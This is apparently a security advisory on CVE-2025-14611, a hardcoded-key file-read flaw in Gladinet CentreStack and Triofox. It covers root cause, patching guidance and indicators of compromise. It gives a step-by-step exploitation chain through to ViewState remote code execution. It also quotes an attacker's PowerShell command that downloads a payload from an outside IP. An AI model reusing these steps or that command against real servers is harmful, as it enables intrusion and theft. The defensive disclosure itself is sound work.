CVE-2025-14611: 
Gladinet CentreStack vulnerability analysis and mitigation

CVE-2025-14611 is a hardcoded cryptographic key vulnerability (CWE-798) in Gladinet CentreStack and Triofox that enables unauthenticated arbitrary local file inclusion via specially crafted requests to publicly exposed endpoints. Discovered and disclosed by Huntress on December 12, 2025, it affects all versions of both products prior to 16.12.10420.56791. The vulnerability carries a CVSS v3.1 base score of 9.8 (Critical) and a CVSS v4.0 score of 7.1 (High) (Huntress, CISA KEV).

The root cause is the use of hardcoded AES-256 encryption keys and initialization vectors (IV) within the GladCtrl64.dll library, classified as CWE-798 (Use of Hard-coded Credentials). Specifically, the filesvr.dn HTTP handler decrypts an "Access Ticket" query parameter (t) using a static 32-byte key derived from a hardcoded Chinese text string and a 16-byte IV derived from hardcoded Japanese marketing text — both returned identically every time by GenerateSecKey. Because these keys never change, an attacker can extract them from memory or the binary, forge valid encrypted tickets, and submit crafted requests to the filesvr.dn endpoint to read arbitrary files — most critically the web.config file containing ASP.NET machine keys. The decrypted ticket format includes a file path, username, password, and timestamp fields; attackers set the timestamp to year 9999 to create non-expiring tickets and leave credentials blank, causing the handler to fall back to the IIS Application Pool Identity (Huntress).

Successful exploitation allows unauthenticated remote attackers to read arbitrary files from the server's filesystem, with the primary target being the web.config file containing ASP.NET machine keys. Once machine keys are obtained, attackers can perform ViewState deserialization attacks leading to remote code execution under the IIS Application Pool Identity. When chained with prior Gladinet vulnerabilities (e.g., CVE-2025-11371, CVE-2025-30406), this vulnerability enables full system compromise, lateral movement, and data exfiltration — as demonstrated by the Clop ransomware group's active exploitation campaigns targeting CentreStack servers (Huntress, CISA KEV).

CVE-2025-14611 is actively exploited in the wild and was added to CISA's Known Exploited Vulnerabilities (KEV) catalog on December 15, 2025, with a remediation due date of January 5, 2026. Huntress documented exploitation across at least nine organizations spanning healthcare and technology sectors as of December 10, 2025, with additional incidents observed on December 15. The Clop ransomware group has been attributed to weaponizing this vulnerability in data theft campaigns against internet-facing CentreStack servers. A public proof-of-concept exploit is available on GitHub (pl4tyz/CVE-2025-14611-CentreStack-and-Triofox-full-Poc-Exploit), and Nuclei detection templates have been published. The EPSS score is 0.3227 (approximately 32.3% probability of exploitation), and the CVSS v4.0 exploit maturity is rated "ATTACKED" (Huntress, CISA KEV).

1. Reconnaissance: Identify internet-facing Gladinet CentreStack or Triofox servers using tools like Shodan or Censys, targeting instances running versions prior to 16.12.10420.56791.
2. Extract hardcoded AES keys: Obtain the static 32-byte AES key and 16-byte IV from the GladCtrl64.dll binary (or extract from a running process's memory). The key source is a hardcoded Chinese text string; the IV source is hardcoded Japanese marketing text.
3. Forge an Access Ticket: Construct a plaintext ticket with four newline-separated fields: C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config (target file path), empty username, empty password, and a far-future timestamp (e.g., 9999-11-27 14:52:04). Encrypt this ticket using AES-256 with the extracted key and IV, then Base64-encode and apply URL-safe character substitutions (replacing + with : and / with |).
4. Send crafted request: Submit an unauthenticated HTTP GET request to the /storage/filesvr.dn endpoint with the forged ticket as the t parameter (e.g., /storage/filesvr.dn?t=<forged_ticket>).
5. Retrieve web.config: The server decrypts the ticket, validates the (far-future) timestamp as valid, and returns the web.config file containing ASP.NET machine keys (machineKey values).
6. ViewState deserialization RCE: Use the extracted machine keys to craft a malicious ViewState payload (e.g., via ysoserial.net) and submit it to the application, achieving remote code execution as the IIS Application Pool Identity.
7. Post-exploitation: Execute commands via w3wp.exe (e.g., PowerShell download cradles), perform host enumeration, download additional payloads (as observed with conqueror.exe from 185.196.11[.]207:8000), and proceed with lateral movement or data exfiltration (Huntress).

• Network:

  • HTTP GET requests to /storage/filesvr.dn with a t parameter containing the string vghpI7EToZUDIZDdprSubL3mTZ2 (encrypted representation of the web.config file path)
  • Inbound connections from known malicious IPs: 147.124.216[.]205, 146.70.134[.]50
  • Outbound connections from the server to 185.196.11[.]207:8000 (payload delivery server)

• Process:

  • w3wp.exe spawning cmd.exe or powershell.exe child processes
  • PowerShell executing base64-encoded commands (e.g., powershell -e SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0...)
  • Execution of quser.exe or directory listing commands via w3wp.exe
  • Presence of conqueror.exe (SHA256: e9fa82d92d826c6a1c38165fe6bd610d3b80cd5d53ec65ac3fe94393be64b5a5) in C:\Users\Public\

• File System:

  • Unexpected files in C:\Users\Public\ (e.g., conqueror.exe)
  • Unauthorized access or modification of C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config

• Logs:

  • IIS access logs showing GET requests to /storage/filesvr.dn with encoded t parameters
  • Windows Application Event Log (Event ID 1316) showing ViewState deserialization errors with encoded payloads
  • PowerShell download cradle activity: Invoke-WebRequest http://185.196.11[.]207:8000/conqueror.exe -OutFile C:\Users\Public\conqueror.exe

(Huntress)

Gladinet released the patched version 16.12.10420.56791 on November 29, 2025; all CentreStack and Triofox users should upgrade immediately. In addition to patching, organizations must rotate the ASP.NET machineKey values in web.config following Gladinet's hardening guidance (available at the CentreStack support portal). For systems that cannot be patched immediately, restrict network access to CentreStack/Triofox services, implement network segmentation to limit exposure of public-facing endpoints, and monitor IIS logs for requests to /storage/filesvr.dn containing the string vghpI7EToZUDIZDdprSubL3mTZ2. CISA's required action (due January 5, 2026) is to apply vendor mitigations or discontinue use of the product (CISA KEV, Huntress).

Huntress, the CVE assigning authority, published a detailed technical blog on December 10–18, 2025, documenting active exploitation across nine organizations and attributing post-exploitation activity to suspected Clop ransomware operators — though they noted they could not definitively confirm Clop attribution at the time of writing (Huntress). CISA added the vulnerability to its KEV catalog on December 15, 2025, and issued an alert the same day, prompting broad media coverage from outlets including Security Affairs, Cyber Daily, GBHackers, and Heise (CISA KEV). FINRA issued a cybersecurity alert in January 2026 specifically warning financial sector organizations about this vulnerability. Horizon3.ai and FortiGuard also published independent threat signal reports, and the ProjectDiscovery Nuclei templates repository received multiple commits adding detection templates for this CVE (Horizon3.ai).